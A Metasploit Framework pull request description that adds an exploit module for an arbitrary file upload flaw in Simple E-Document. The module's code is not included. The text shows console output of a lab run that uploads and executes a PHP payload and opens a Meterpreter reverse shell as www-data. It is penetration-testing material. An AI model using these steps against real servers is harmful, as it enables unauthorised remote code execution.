rapid7/metasploit-framework — pull request #2913 by bcoles (2014-01-24 09:45:30+00:00)
Title: Add Simple E-Document Arbitrary File Upload module

Add Simple E-Document Arbitrary File Upload module.

Nothing special. Just another example of arbitrary file upload+exec with grepping for the upload directory.

Homepage: http://sourceforge.net/projects/simplee-doc/
Tested on: Tested on Simple E-Document versions 3.0 and 3.1 (Kali Linux)

![exploit](https://f.cloud.github.com/assets/434827/1993546/d4b2d13e-84db-11e3-9028-b7480242da85.png)

### Output

```
msf > use exploit/unix/webapp/simple_e_document_upload_exec
msf exploit(simple_e_document_upload_exec) > set RHOST 192.168.237.136
RHOST => 192.168.237.136
msf exploit(simple_e_document_upload_exec) > check
[*] The target appears to be vulnerable.
msf exploit(simple_e_document_upload_exec) > run

[*] Started reverse handler on 192.168.237.134:4444
[*] 192.168.237.136:80 - Uploading malicious file...
[+] 192.168.237.136:80 - Payload uploaded successfully.
[+] 192.168.237.136:80 - Found upload path /simple_e_document_v_1_31/in/
[*] 192.168.237.136:80 - Executing nvjATUN.php...
[*] Sending stage (39848 bytes) to 192.168.237.136
[*] Meterpreter session 1 opened (192.168.237.134:4444 -> 192.168.237.136:52521) at 2014-01-24 04:35:40 -0500
[+] Deleted nvjATUN.php
getuid

meterpreter > getuid
Server username: www-data (33)
```